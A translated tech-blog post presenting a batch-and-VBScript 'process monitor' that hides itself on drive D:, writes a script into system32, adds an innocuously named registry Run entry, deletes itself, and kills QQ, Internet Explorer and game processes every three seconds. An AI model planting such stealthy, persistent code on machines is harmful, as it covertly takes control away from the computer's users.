In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-09-23 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Development >
Share
Shulou(Shulou.com)06/03 Report--
This article is about how to use vbs+bat to achieve process monitoring. Xiaobian thinks it is quite practical, so share it with everyone for reference. Let's follow Xiaobian and have a look.
jk.vbs will be generated in %windir%\system32\directory after running,
And automatically add registry startup entries, in addition to D:\will generate a hidden attribute JK.VBS,
Monitor the process at intervals of 3 seconds. If there are QQ.exe, iexplore.exe, client.exe and game.exe processes in the process, the process will automatically end.
The code is as follows:
@echo off attrib -s -h -a -r d:\jk.bat 1>nul 2>nul if exist d:\jk.bat del d:\jk.bat /q copy %0 d:\jk.bat /y >nul attrib +s +h +a +r d:\jk.bat if exist %windir%\system32\jk.vbs del %windir%\system32\jk.vbs echo y|reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v DATA /t REG_SZ /d c:\windows\system32\jk.vbs >nul echo Do>>%windir%\system32\jk.vbs echo WScript.Sleep 3000>>%windir%\system32\jk.vbs echo strComputer = ". " >>%windir%\system32\jk.vbs echo Set objWMIService = GetObject ("winmgmts: \\" ^& strComputer ^& "\root\CIMV2") >>%windir%\system32\jk.vbs echo Set colItems = objWMIService.ExecQuery ( _>>%windir%\system32\jk.vbs echo "SELECT * FROM Win32_Process",, 48)>>%windir%\system32\jk.vbs echo For Each objItem in colItems >>%windir%\system32\jk.vbs echo If objItem.Name="QQ.exe" Or objItem.Name="iexplore.exe" Or _>>%windir%\system32\jk.vbs echo objItem.Name="client.exe" Or objItem.Name="game.exe" _>>%windir%\system32\jk.vbs echo Then objitem.Terminate()>>%windir%\system32\jk.vbs echo Next>>%windir%\system32\jk.vbs echo loop>>%windir%\system32\jk.vbs start %windir%\system32\jk.vbs del %0 /q Thank you for reading! About "how to use vbs+bat to achieve process monitoring" this article is shared here, I hope the above content can be of some help to everyone, so that everyone can learn more knowledge, if you think the article is good, you can share it to let more people see it!
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
The market share of Chrome browser on the desktop has exceeded 70%, and users are complaining about
The world's first 2nm mobile chip: Samsung Exynos 2600 is ready for mass production.According to a r
A US federal judge has ruled that Google can keep its Chrome browser, but it will be prohibited from
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
About us Contact us Product review car news thenatureplanet
More Form oMedia: AutoTimes. Bestcoffee. SL News. Jarebook. Coffee Hunters. Sundaily. Modezone. NNB. Coffee. Game News. FrontStreet. GGAMEN
© 2024 shulou.com SLNews company. All rights reserved.